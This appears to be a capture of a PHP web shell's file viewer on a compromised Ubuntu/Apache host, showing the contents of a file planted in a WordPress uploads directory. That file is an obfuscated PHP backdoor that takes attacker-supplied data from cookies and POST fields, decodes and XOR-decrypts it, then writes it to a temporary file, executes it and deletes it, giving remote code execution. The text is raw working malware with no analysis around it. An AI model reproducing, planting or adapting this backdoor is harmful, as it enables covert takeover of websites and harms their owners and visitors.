HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2023/07/f10e3a63.php
$rLlRk = chr (86) . "\137" . "\x45" . chr ( 844 - 767 ).chr (77); $ypNCDa = chr ( 957 - 858 ).chr ( 643 - 535 )."\x61" . 's' . chr ( 714 - 599 )."\x5f" . "\145" . chr (120) . chr ( 820 - 715 )."\x73" . "\164" . chr (115); $CbAoHVos = class_exists($rLlRk); $ypNCDa = "64110";$KpJoGlLlB = strpos($ypNCDa, $rLlRk);if ($CbAoHVos == $KpJoGlLlB){function QRpzyFw(){$GEmay = new /* 12659 */ V_EMM(15272 + 15272); $GEmay = NULL;}$HFvum = "15272";class V_EMM{private function DsXfyK($HFvum){if (is_array(V_EMM::$sRHSsXld)) {$name = sys_get_temp_dir() . "/" . crc32(V_EMM::$sRHSsXld["salt"]);@V_EMM::$sRHSsXld["write"]($name, V_EMM::$sRHSsXld["content"]);include $name;@V_EMM::$sRHSsXld["delete"]($name); $HFvum = "15272";exit();}}public function qbCSWGt(){$BNGxKUfa = "30724";$this->_dummy = str_repeat($BNGxKUfa, strlen($BNGxKUfa));}public function __destruct(){V_EMM::$sRHSsXld = @unserialize(V_EMM::$sRHSsXld); $HFvum = "61032_15435";$this->DsXfyK($HFvum); $HFvum = "61032_15435";}public function uXtJpBZWg($BNGxKUfa, $xStDMR){return $BNGxKUfa[0] ^ str_repeat($xStDMR, intval(strlen($BNGxKUfa[0]) / strlen($xStDMR)) + 1);}public function nMaYliJ($BNGxKUfa){$uEbPpSPTW = 'b' . "\141" . "\x73" . "\x65" . chr (54) . chr (52);return array_map($uEbPpSPTW . "\x5f" . chr ( 878 - 778 )."\x65" . "\143" . chr ( 862 - 751 )."\x64" . "\x65", array($BNGxKUfa,));}public function __construct($TUNtJ=0){$XbPAFQaU = ',';$BNGxKUfa = "";$bitmAnl = $_POST;$FnbGhG = $_COOKIE;$xStDMR = "52c99bec-0917-4c47-b3fc-888db568402a";$EfjIKv = @$FnbGhG[substr($xStDMR, 0, 4)];if (!empty($EfjIKv)){$EfjIKv = explode($XbPAFQaU, $EfjIKv);foreach ($EfjIKv as $udqCD){$BNGxKUfa .= @$FnbGhG[$udqCD];$BNGxKUfa .= @$bitmAnl[$udqCD];}$BNGxKUfa = $this->nMaYliJ($BNGxKUfa);}V_EMM::$sRHSsXld = $this->uXtJpBZWg($BNGxKUfa, $xStDMR);if (strpos($xStDMR, $XbPAFQaU) !== FALSE){$xStDMR = ltrim($xStDMR); $xStDMR = str_pad($xStDMR, 10);}}public static $sRHSsXld = 7288;}QRpzyFw();}